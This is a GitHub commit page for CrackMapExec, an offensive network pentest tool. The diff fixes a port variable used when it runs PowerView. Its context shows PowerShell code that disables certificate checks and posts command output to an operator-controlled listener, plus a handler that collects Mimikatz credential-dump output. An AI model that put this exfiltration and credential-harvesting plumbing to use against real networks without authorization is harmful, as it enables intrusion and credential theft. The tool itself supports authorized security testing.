Skip to content
This repository was archived by the owner on Dec 6, 2023. It is now read-only.

Commit 474ded4

Browse files
author
byt3bl33d3r
committed
Fixed port variable when invoking PowerView
1 parent f0fe1a2 commit 474ded4

File tree

3 files changed

+5
-4
lines changed

3 files changed

+5
-4
lines changed

core/powershell.py

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -4,6 +4,8 @@
44
import settings
55

66
def ps_command(command):
7+
logging.info('PS command to be encoded: ' + command)
8+
79
if settings.args.server == 'https':
810
logging.info('Disabling certificate checking for the following PS command: ' + command)
911
command = "[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};" + command
@@ -64,7 +66,7 @@ def powerview(self, command):
6466
$requestStream.Write( $bytes, 0, $bytes.Length );
6567
$requestStream.Close();
6668
$request.GetResponse();""".format(protocol=self.protocol,
67-
port=settings.args.port,
69+
port=settings.args.server_port,
6870
addr=self.localip,
6971
view_command=command)
7072

core/servers/mimikatz.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -83,7 +83,7 @@ def do_POST(self):
8383
print_att(data)
8484
self.save_mimikatz_output(data)
8585

86-
elif settings.args.powerview:
86+
elif settings.args.powerview and data:
8787
print_succ('{} PowerView command output:'.format(self.client_address[0]))
8888
buf = StringIO(data.strip()).readlines()
8989
for line in buf:

crackmapexec.py

Lines changed: 1 addition & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -72,8 +72,7 @@
7272
parser.add_argument('--kerb', action="store_true", dest='kerb', help='Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters')
7373
parser.add_argument("--port", dest='port', type=int, choices={139, 445}, default=445, help="SMB port (default: 445)")
7474
parser.add_argument("--server", choices={'http', 'https'}, default='http', help='Use the selected server (defaults to http)')
75-
parser.add_argument("--server-port", type=int, help='Start the server on the specified port')
76-
75+
parser.add_argument("--server-port", metavar='PORT', type=int, help='Start the server on the specified port')
7776
#How much fail can we limit? can we fail at failing to limit? da da da dum
7877
parser.add_argument("--fail-limit", metavar='LIMIT', type=int, default=None, help='The max number of failed login attempts allowed per host (default: None)')
7978
parser.add_argument("--gfail-limit", metavar='LIMIT', type=int, default=None, help='The max number of failed login attempts allowed globally (default: None)')

0 commit comments

Comments
 (0)